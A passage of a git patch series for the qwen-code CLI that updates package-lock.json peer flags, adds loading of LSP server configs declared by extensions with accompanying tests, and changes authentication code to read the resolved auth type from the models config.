"integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "license": "MIT", - "peer": true, "dependencies": { "ms": "2.0.0" } @@ -8386,7 +8369,6 @@ "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", "license": "MIT", - "peer": true, "engines": { "node": ">= 0.8" } @@ -8577,7 +8559,6 @@ "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz", "integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==", "license": "MIT", - "peer": true, "dependencies": { "debug": "2.6.9", "encodeurl": "~2.0.0", @@ -8596,7 +8577,6 @@ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "license": "MIT", - "peer": true, "dependencies": { "ms": "2.0.0" } @@ -8605,15 +8585,13 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/finalhandler/node_modules/statuses": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", "license": "MIT", - "peer": true, "engines": { "node": ">= 0.8" } @@ -9602,8 +9580,7 @@ "integrity": "sha512-p6u1bG3YSnINT5RQmx/yRZBpenIl30kVxkTLDyHLIMk0gict704Q9n+thfDI7lTRm9vXdDYutVzXhzcThxTnXA==", "dev": true, "license": "MIT", - "optional": true, - "peer": true + "optional": true }, "node_modules/import-fresh": { "version": "3.3.1", @@ -9700,6 +9677,7 @@ "resolved": "https://registry.npmjs.org/ink/-/ink-6.2.3.tgz", "integrity": "sha512-fQkfEJjKbLXIcVWEE3MvpYSnwtbbmRsmeNDNz1pIuOFlwE+UF2gsy228J36OXKZGWJWZJKUigphBSqCNMcARtg==", "license": "MIT", + "peer": true, "dependencies": { "@alcalzone/ansi-tokenize": "^0.2.0", "ansi-escapes": "^7.0.0", @@ -10695,6 +10673,7 @@ "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", "dev": true, "license": "MIT", + "peer": true, "bin": { "jiti": "bin/jiti.js" } @@ -11679,7 +11658,6 @@ "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", "license": "MIT", - "peer": true, "engines": { "node": ">= 0.6" } @@ -12980,8 +12958,7 @@ "version": "0.1.12", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz", "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/path-type": { "version": "3.0.0", @@ -13141,6 +13118,7 @@ } ], "license": "MIT", + "peer": true, "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", @@ -13654,6 +13632,7 @@ "resolved": "https://registry.npmjs.org/react/-/react-19.1.0.tgz", "integrity": "sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg==", "license": "MIT", + "peer": true, "engines": { "node": ">=0.10.0" } @@ -13664,6 +13643,7 @@ "integrity": "sha512-cq/o30z9W2Wb4rzBefjv5fBalHU0rJGZCHAkf/RHSBWSSYwh8PlQTqqOJmgIIbBtpj27T6FIPXeomIjZtCNVqA==", "devOptional": true, "license": "MIT", + "peer": true, "dependencies": { "shell-quote": "^1.6.1", "ws": "^7" @@ -13697,6 +13677,7 @@ "integrity": "sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "scheduler": "^0.26.0" }, @@ -14338,29 +14319,6 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "license": "MIT" }, - "node_modules/sass": { - "version": "1.94.2", - "resolved": "https://registry.npmjs.org/sass/-/sass-1.94.2.tgz", - "integrity": "sha512-N+7WK20/wOr7CzA2snJcUSSNTCzeCGUTFY3OgeQP3mZ1aj9NMQ0mSTXwlrnd89j33zzQJGqIN52GIOmYrfq46A==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true, - "dependencies": { - "chokidar": "^4.0.0", - "immutable": "^5.0.2", - "source-map-js": ">=0.6.2 <2.0.0" - }, - "bin": { - "sass": "sass.js" - }, - "engines": { - "node": ">=14.0.0" - }, - "optionalDependencies": { - "@parcel/watcher": "^2.4.1" - } - }, "node_modules/sax": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz", @@ -15759,6 +15717,7 @@ "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=12" }, @@ -15938,7 +15897,8 @@ "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "license": "0BSD" + "license": "0BSD", + "peer": true }, "node_modules/tsx": { "version": "4.20.3", @@ -15946,6 +15906,7 @@ "integrity": "sha512-qjbnuR9Tr+FJOMBqJCW5ehvIo/buZq7vH7qD7JziU98h6l3qGy0a/yPFjwO+y0/T7GFpNgNAvEcPPVfyT8rrPQ==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "esbuild": "~0.25.0", "get-tsconfig": "^4.7.5" @@ -16140,6 +16101,7 @@ "integrity": "sha512-p1diW6TqL9L07nNxvRMM7hMMw4c5XOo/1ibL4aAIGmSAt9slTE1Xgw5KWuof2uTOvCg9BY7ZRi+GaF+7sfgPeQ==", "dev": true, "license": "Apache-2.0", + "peer": true, "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" @@ -16448,7 +16410,6 @@ "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", "license": "MIT", - "peer": true, "engines": { "node": ">= 0.4.0" } @@ -16504,6 +16465,7 @@ "integrity": "sha512-ixXJB1YRgDIw2OszKQS9WxGHKwLdCsbQNkpJN171udl6szi/rIySHL6/Os3s2+oE4P/FLD4dxg4mD7Wust+u5g==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.6", @@ -16617,6 +16579,7 @@ "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=12" }, @@ -16630,6 +16593,7 @@ "integrity": "sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@types/chai": "^5.2.2", "@vitest/expect": "3.2.4", @@ -17137,6 +17101,7 @@ "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", "dev": true, "license": "ISC", + "peer": true, "bin": { "yaml": "bin.mjs" }, @@ -17317,6 +17282,7 @@ "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", "license": "MIT", + "peer": true, "funding": { "url": "https://github.com/sponsors/colinhacks" } @@ -17329,7 +17295,6 @@ "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@qwen-code/qwen-code-core": "file:../core", - "@types/prompts": "^2.4.9", "@types/update-notifier": "^6.0.8", "ansi-regex": "^6.2.2", "command-exists": "^1.2.9", @@ -17373,6 +17338,7 @@ "@types/diff": "^7.0.2", "@types/dotenv": "^6.1.1", "@types/node": "^20.11.24", + "@types/prompts": "^2.4.9", "@types/react": "^19.1.8", "@types/react-dom": "^19.1.6", "@types/semver": "^7.7.0", @@ -17416,6 +17382,7 @@ "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.25.1.tgz", "integrity": "sha512-yO28oVFFC7EBoiKdAn+VqRm+plcfv4v0xp6osG/VsCB0NlPZWi87ajbCZZ8f/RvOFLEu7//rSRmuZZ7lMoe3gQ==", "license": "MIT", + "peer": true, "dependencies": { "@hono/node-server": "^1.19.7", "ajv": "^8.17.1", @@ -18062,6 +18029,7 @@ "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.25.1.tgz", "integrity": "sha512-yO28oVFFC7EBoiKdAn+VqRm+plcfv4v0xp6osG/VsCB0NlPZWi87ajbCZZ8f/RvOFLEu7//rSRmuZZ7lMoe3gQ==", "license": "MIT", + "peer": true, "dependencies": { "@hono/node-server": "^1.19.7", "ajv": "^8.17.1", @@ -18473,6 +18441,7 @@ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "license": "MIT", + "peer": true, "engines": { "node": ">=12" }, @@ -19235,6 +19204,7 @@ "integrity": "sha512-4Z+L8I2OqhZV8qA132M4wNL30ypZGYOQVBfMgxDH/K5UX0PNqTu1c6za9ST5r9+tavvHiTWmBnKzpCJ/GlVFtg==", "dev": true, "license": "BSD-2-Clause", + "peer": true, "dependencies": { "@typescript-eslint/scope-manager": "7.18.0", "@typescript-eslint/types": "7.18.0", @@ -19732,6 +19702,7 @@ "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@eslint-community/eslint-utils": "^4.2.0", "@eslint-community/regexpp": "^4.6.1", @@ -20858,6 +20829,7 @@ "integrity": "sha512-Ljb1cnSJSivGN0LqXd/zmDbWEM0RNNg2t1QW/XUhYl/qPqyu7CsqeWtqQXHVaJsecLPuDoak2oJcZN2QoRIOag==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@vitest/expect": "1.6.1", "@vitest/runner": "1.6.1", @@ -21521,27 +21493,6 @@ "zod": "^3.25 || ^4" } }, - "packages/vscode-ide-companion/node_modules/@types/react": { - "version": "18.3.27", - "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.27.tgz", - "integrity": "sha512-cisd7gxkzjBKU2GgdYrTdtQx1SORymWyaAFhaxQPK9bYO9ot3Y5OikQRvY0VYQtvwjeQnizCINJAenh/V7MK2w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/prop-types": "*", - "csstype": "^3.2.2" - } - }, - "packages/vscode-ide-companion/node_modules/@types/react-dom": { - "version": "18.3.7", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", - "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "^18.0.0" - } - }, "packages/vscode-ide-companion/node_modules/@types/semver": { "version": "7.7.1", "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", @@ -21584,13 +21535,6 @@ "node": ">= 0.6" } }, - "packages/vscode-ide-companion/node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "dev": true, - "license": "MIT" - }, "packages/vscode-ide-companion/node_modules/express": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/express/-/express-5.1.0.tgz", @@ -21671,40 +21615,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "packages/vscode-ide-companion/node_modules/react": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", - "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", - "license": "MIT", - "dependencies": { - "loose-envify": "^1.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "packages/vscode-ide-companion/node_modules/react-dom": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", - "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", - "license": "MIT", - "dependencies": { - "loose-envify": "^1.1.0", - "scheduler": "^0.23.2" - }, - "peerDependencies": { - "react": "^18.3.1" - } - }, - "packages/vscode-ide-companion/node_modules/scheduler": { - "version": "0.23.2", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", - "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", - "license": "MIT", - "dependencies": { - "loose-envify": "^1.1.0" - } - }, "packages/vscode-ide-companion/node_modules/send": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/send/-/send-1.2.0.tgz", diff --git a/packages/cli/src/services/lsp/LspConfigLoader.test.ts b/packages/cli/src/services/lsp/LspConfigLoader.test.ts new file mode 100644 index 000000000..2207aa5ea --- /dev/null +++ b/packages/cli/src/services/lsp/LspConfigLoader.test.ts @@ -0,0 +1,78 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, afterEach } from 'vitest'; +import mock from 'mock-fs'; +import { LspConfigLoader } from './LspConfigLoader.js'; +import type { Extension } from '@qwen-code/qwen-code-core'; + +describe('LspConfigLoader extension configs', () => { + const workspaceRoot = '/workspace'; + const extensionPath = '/extensions/ts-plugin'; + + afterEach(() => { + mock.restore(); + }); + + it('loads inline lspServers config from extension', async () => { + const loader = new LspConfigLoader(workspaceRoot); + const extension = { + name: 'ts-plugin', + path: extensionPath, + config: { + lspServers: { + typescript: { + command: 'typescript-language-server', + args: ['--stdio'], + extensionToLanguage: { + '.ts': 'typescript', + }, + }, + }, + }, + } as Extension; + + const configs = await loader.loadExtensionConfigs([extension]); + + expect(configs).toHaveLength(1); + expect(configs[0]?.languages).toEqual(['typescript']); + expect(configs[0]?.command).toBe('typescript-language-server'); + expect(configs[0]?.args).toEqual(['--stdio']); + }); + + it('loads lspServers config from referenced file and hydrates variables', async () => { + mock({ + [extensionPath]: { + '.lsp.json': JSON.stringify({ + typescript: { + command: 'typescript-language-server', + args: ['--stdio'], + env: { + EXT_ROOT: '${CLAUDE_PLUGIN_ROOT}', + }, + extensionToLanguage: { + '.ts': 'typescript', + }, + }, + }), + }, + }); + + const loader = new LspConfigLoader(workspaceRoot); + const extension = { + name: 'ts-plugin', + path: extensionPath, + config: { + lspServers: './.lsp.json', + }, + } as Extension; + + const configs = await loader.loadExtensionConfigs([extension]); + + expect(configs).toHaveLength(1); + expect(configs[0]?.env?.EXT_ROOT).toBe(extensionPath); + }); +}); diff --git a/packages/cli/src/services/lsp/LspConfigLoader.ts b/packages/cli/src/services/lsp/LspConfigLoader.ts index a0c5cd08d..c82f5323a 100644 --- a/packages/cli/src/services/lsp/LspConfigLoader.ts +++ b/packages/cli/src/services/lsp/LspConfigLoader.ts @@ -7,6 +7,11 @@ import * as fs from 'node:fs'; import * as path from 'path'; import { pathToFileURL } from 'url'; +import { + recursivelyHydrateStrings, + type Extension, + type JsonValue, +} from '@qwen-code/qwen-code-core'; import type { LspInitializationOptions, LspServerConfig, @@ -18,9 +23,7 @@ export class LspConfigLoader { /** * Load user .lsp.json configuration. - * Supports two official formats: - * 1. Basic format: { "language": { "command": "...", "extensionToLanguage": {...} } } - * 2. LanguageServers format: { "languageServers": { "server-name": { "languages": [...], ... } } } + * Supports basic format: { "language": { "command": "...", "extensionToLanguage": {...} } } */ async loadUserConfigs(): Promise { const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); @@ -39,10 +42,76 @@ export class LspConfigLoader { } /** - * Merge configs: built-in presets + user configs + compatibility layer + * Load LSP configurations declared by extensions (Claude plugins). + */ + async loadExtensionConfigs(extensions: Extension[]): Promise { + const configs: LspServerConfig[] = []; + + for (const extension of extensions) { + const lspServers = extension.config?.lspServers; + if (!lspServers) { + continue; + } + + const originBase = `extension ${extension.name}`; + if (typeof lspServers === 'string') { + const configPath = this.resolveExtensionConfigPath( + extension.path, + lspServers, + ); + if (!fs.existsSync(configPath)) { + console.warn( + `LSP config not found for ${originBase}: ${configPath}`, + ); + continue; + } + + try { + const configContent = fs.readFileSync(configPath, 'utf-8'); + const data = JSON.parse(configContent) as JsonValue; + const hydrated = this.hydrateExtensionLspConfig( + data, + extension.path, + ); + configs.push( + ...this.parseConfigSource( + hydrated, + `${originBase} (${configPath})`, + ), + ); + } catch (error) { + console.warn( + `Failed to load extension LSP config from ${configPath}:`, + error, + ); + } + } else if (this.isRecord(lspServers)) { + const hydrated = this.hydrateExtensionLspConfig( + lspServers as JsonValue, + extension.path, + ); + configs.push( + ...this.parseConfigSource( + hydrated, + `${originBase} (lspServers)`, + ), + ); + } else { + console.warn( + `LSP config for ${originBase} must be an object or a JSON file path.`, + ); + } + } + + return configs; + } + + /** + * Merge configs: built-in presets + extension configs + user configs */ mergeConfigs( detectedLanguages: string[], + extensionConfigs: LspServerConfig[], userConfigs: LspServerConfig[], ): LspServerConfig[] { // Built-in preset configurations @@ -51,17 +120,22 @@ export class LspConfigLoader { // Merge configs, user configs take priority const mergedConfigs = [...presets]; - for (const userConfig of userConfigs) { - // Find if there's a preset with the same name, if so replace it - const existingIndex = mergedConfigs.findIndex( - (c) => c.name === userConfig.name, - ); - if (existingIndex !== -1) { - mergedConfigs[existingIndex] = userConfig; - } else { - mergedConfigs.push(userConfig); + const applyConfigs = (configs: LspServerConfig[]) => { + for (const config of configs) { + // Find if there's a preset with the same name, if so replace it + const existingIndex = mergedConfigs.findIndex( + (c) => c.name === config.name, + ); + if (existingIndex !== -1) { + mergedConfigs[existingIndex] = config; + } else { + mergedConfigs.push(config); + } } - } + }; + + applyConfigs(extensionConfigs); + applyConfigs(userConfigs); return mergedConfigs; } @@ -155,7 +229,7 @@ export class LspConfigLoader { /** * Parse configuration source and extract server configs. - * Detects format based on presence of 'languageServers' key. + * Expects basic format keyed by language identifier. */ private parseConfigSource( source: unknown, @@ -167,31 +241,15 @@ export class LspConfigLoader { const configs: LspServerConfig[] = []; - // Determine format: languageServers wrapper vs basic format - const hasLanguageServersWrapper = this.isRecord(source['languageServers']); - const serverMap = hasLanguageServersWrapper - ? (source['languageServers'] as Record) - : source; - - for (const [key, spec] of Object.entries(serverMap)) { + for (const [key, spec] of Object.entries(source)) { if (!this.isRecord(spec)) { continue; } - // In basic format: key is language name, server name comes from command - // In languageServers format: key is server name, languages come from 'languages' array - const isBasicFormat = !hasLanguageServersWrapper && !spec['languages']; - - const languages = isBasicFormat - ? [key] - : (this.normalizeStringArray(spec['languages']) ?? - (typeof spec['languages'] === 'string' ? [spec['languages']] : [])); - - const name = isBasicFormat - ? typeof spec['command'] === 'string' - ? spec['command'] - : key - : key; + // In basic format: key is language name, server name comes from command. + const languages = [key]; + const name = + typeof spec['command'] === 'string' ? (spec['command'] as string) : key; const config = this.buildServerConfig(name, languages, spec, origin); if (config) { @@ -202,6 +260,28 @@ export class LspConfigLoader { return configs; } + private resolveExtensionConfigPath( + extensionPath: string, + configPath: string, + ): string { + return path.isAbsolute(configPath) + ? path.resolve(configPath) + : path.resolve(extensionPath, configPath); + } + + private hydrateExtensionLspConfig( + source: JsonValue, + extensionPath: string, + ): JsonValue { + return recursivelyHydrateStrings(source, { + extensionPath, + CLAUDE_PLUGIN_ROOT: extensionPath, + workspacePath: this.workspaceRoot, + '/': path.sep, + pathSeparator: path.sep, + }); + } + private buildServerConfig( name: string, languages: string[], diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts index a7e12cfcf..a57ad3483 100644 --- a/packages/cli/src/services/lsp/NativeLspService.ts +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -24,6 +24,7 @@ import type { LspSymbolInformation, LspTextEdit, LspWorkspaceEdit, + Extension, } from '@qwen-code/qwen-code-core'; import type { EventEmitter } from 'events'; import { LspConfigLoader } from './LspConfigLoader.js'; @@ -98,19 +99,35 @@ export class NativeLspService { // Detect languages in workspace const userConfigs = await this.configLoader.loadUserConfigs(); + const extensionConfigs = await this.configLoader.loadExtensionConfigs( + this.getActiveExtensions(), + ); const extensionOverrides = - this.configLoader.collectExtensionToLanguageOverrides(userConfigs); + this.configLoader.collectExtensionToLanguageOverrides([ + ...extensionConfigs, + ...userConfigs, + ]); const detectedLanguages = await this.languageDetector.detectLanguages(extensionOverrides); - // Merge configs: built-in presets + user .lsp.json + optional cclsp compatibility + // Merge configs: built-in presets + extension LSP configs + user .lsp.json const serverConfigs = this.configLoader.mergeConfigs( detectedLanguages, + extensionConfigs, userConfigs, ); this.serverManager.setServerConfigs(serverConfigs); } + private getActiveExtensions(): Extension[] { + const configWithExtensions = this.config as unknown as { + getActiveExtensions?: () => Extension[]; + }; + return typeof configWithExtensions.getActiveExtensions === 'function' + ? configWithExtensions.getActiveExtensions() + : []; + } + /** * Start all LSP servers */ diff --git a/packages/core/src/extension/claude-converter.test.ts b/packages/core/src/extension/claude-converter.test.ts index 9e74b07bf..84510a98f 100644 --- a/packages/core/src/extension/claude-converter.test.ts +++ b/packages/core/src/extension/claude-converter.test.ts @@ -43,6 +43,26 @@ describe('convertClaudeToQwenConfig', () => { expect(result.mcpServers).toBeUndefined(); }); + it('should preserve lspServers configuration', () => { + const claudeConfig: ClaudePluginConfig = { + name: 'lsp-plugin', + version: '1.0.0', + lspServers: { + typescript: { + command: 'typescript-language-server', + args: ['--stdio'], + extensionToLanguage: { + '.ts': 'typescript', + }, + }, + }, + }; + + const result = convertClaudeToQwenConfig(claudeConfig); + + expect(result.lspServers).toEqual(claudeConfig.lspServers); + }); + it('should throw error for missing name', () => { const invalidConfig = { version: '1.0.0', diff --git a/packages/core/src/extension/claude-converter.ts b/packages/core/src/extension/claude-converter.ts index 224a22b11..506bc804a 100644 --- a/packages/core/src/extension/claude-converter.ts +++ b/packages/core/src/extension/claude-converter.ts @@ -39,7 +39,7 @@ export interface ClaudePluginConfig { hooks?: string; mcpServers?: string | Record; outputStyles?: string | string[]; - lspServers?: string; + lspServers?: string | Record; } /** @@ -318,17 +318,12 @@ export function convertClaudeToQwenConfig( `[Claude Converter] Output styles are not yet supported in ${claudeConfig.name}`, ); } - if (claudeConfig.lspServers) { - console.warn( - `[Claude Converter] LSP servers are not yet supported in ${claudeConfig.name}`, - ); - } - // Direct field mapping - commands, skills, agents will be collected as folders return { name: claudeConfig.name, version: claudeConfig.version, mcpServers, + lspServers: claudeConfig.lspServers, }; } diff --git a/packages/core/src/extension/extensionManager.ts b/packages/core/src/extension/extensionManager.ts index 921d34739..72ffdb3df 100644 --- a/packages/core/src/extension/extensionManager.ts +++ b/packages/core/src/extension/extensionManager.ts @@ -100,6 +100,7 @@ export interface ExtensionConfig { name: string; version: string; mcpServers?: Record; + lspServers?: string | Record; contextFileName?: string | string[]; commands?: string | string[]; skills?: string | string[]; From 2c9399f8e07c57fc64005578e6a9e0c87c43f810 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 14:56:22 +0800 Subject: [PATCH 44/79] fix: use resolved authType to initialize ACP agent --- packages/cli/src/acp-integration/acpAgent.ts | 2 +- packages/cli/src/config/auth.test.ts | 14 ++-- packages/cli/src/config/auth.ts | 8 +-- packages/cli/src/core/initializer.ts | 4 +- packages/cli/src/gemini.tsx | 2 +- packages/cli/src/ui/AppContainer.tsx | 2 +- .../src/validateNonInterActiveAuth.test.ts | 64 ++++++++++--------- .../cli/src/validateNonInterActiveAuth.ts | 4 +- packages/core/src/config/config.ts | 43 ++++++------- 9 files changed, 75 insertions(+), 68 deletions(-) diff --git a/packages/cli/src/acp-integration/acpAgent.ts b/packages/cli/src/acp-integration/acpAgent.ts index 6c40bffee..a33091586 100644 --- a/packages/cli/src/acp-integration/acpAgent.ts +++ b/packages/cli/src/acp-integration/acpAgent.ts @@ -290,7 +290,7 @@ class GeminiAgent { } private async ensureAuthenticated(config: Config): Promise { - const selectedType = this.settings.merged.security?.auth?.selectedType; + const selectedType = config.getModelsConfig().getCurrentAuthType(); if (!selectedType) { throw acp.RequestError.authRequired( 'Use Qwen Code CLI to authenticate first.', diff --git a/packages/cli/src/config/auth.test.ts b/packages/cli/src/config/auth.test.ts index ce3173c62..aee42208d 100644 --- a/packages/cli/src/config/auth.test.ts +++ b/packages/cli/src/config/auth.test.ts @@ -168,7 +168,7 @@ describe('validateAuthMethod', () => { expect(validateAuthMethod(AuthType.USE_VERTEX_AI)).toBeNull(); }); - it('should use config.modelsConfig.getModel() when Config is provided', () => { + it('should use config.getModelsConfig().getModel() when Config is provided', () => { // Settings has a different model vi.mocked(settings.loadSettings).mockReturnValue({ merged: { @@ -184,18 +184,18 @@ describe('validateAuthMethod', () => { // Mock Config object that returns a different model (e.g., from CLI args) const mockConfig = { - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('cli-model'), - }, + }), } as unknown as import('@qwen-code/qwen-code-core').Config; // Set the env key for the CLI model, not the settings model process.env['CLI_API_KEY'] = 'cli-key'; - // Should use 'cli-model' from config.modelsConfig.getModel(), not 'settings-model' + // Should use 'cli-model' from config.getModelsConfig().getModel(), not 'settings-model' const result = validateAuthMethod(AuthType.USE_OPENAI, mockConfig); expect(result).toBeNull(); - expect(mockConfig.modelsConfig.getModel).toHaveBeenCalled(); + expect(mockConfig.getModelsConfig).toHaveBeenCalled(); }); it('should fail validation when Config provides different model without matching env key', () => { @@ -217,9 +217,9 @@ describe('validateAuthMethod', () => { } as unknown as ReturnType); const mockConfig = { - modelsConfig: { + getModelsConfig: vi.fn().mockReturnValue({ getModel: vi.fn().mockReturnValue('cli-model'), - }, + }), } as unknown as import('@qwen-code/qwen-code-core').Config; // Don't set CLI_API_KEY - validation should fail diff --git a/packages/cli/src/config/auth.ts b/packages/cli/src/config/auth.ts index 5fbe07dce..46eed24d0 100644 --- a/packages/cli/src/config/auth.ts +++ b/packages/cli/src/config/auth.ts @@ -60,9 +60,9 @@ function hasApiKeyForAuth( | ModelProvidersConfig | undefined; - // Use config.modelsConfig.getModel() if available for accurate model ID resolution + // Use config.getModelsConfig().getModel() if available for accurate model ID resolution // that accounts for CLI args, env vars, and settings. Fall back to settings.model.name. - const modelId = config?.modelsConfig.getModel() ?? settings.model?.name; + const modelId = config?.getModelsConfig().getModel() ?? settings.model?.name; // Try to find model-specific envKey from modelProviders const modelConfig = findModelConfig(modelProviders, authType, modelId); @@ -184,9 +184,9 @@ export function validateAuthMethod( const modelProviders = settings.merged.modelProviders as | ModelProvidersConfig | undefined; - // Use config.modelsConfig.getModel() if available for accurate model ID + // Use config.getModelsConfig().getModel() if available for accurate model ID const modelId = - config?.modelsConfig.getModel() ?? settings.merged.model?.name; + config?.getModelsConfig().getModel() ?? settings.merged.model?.name; const modelConfig = findModelConfig(modelProviders, authMethod, modelId); if (modelConfig && !modelConfig.baseUrl) { diff --git 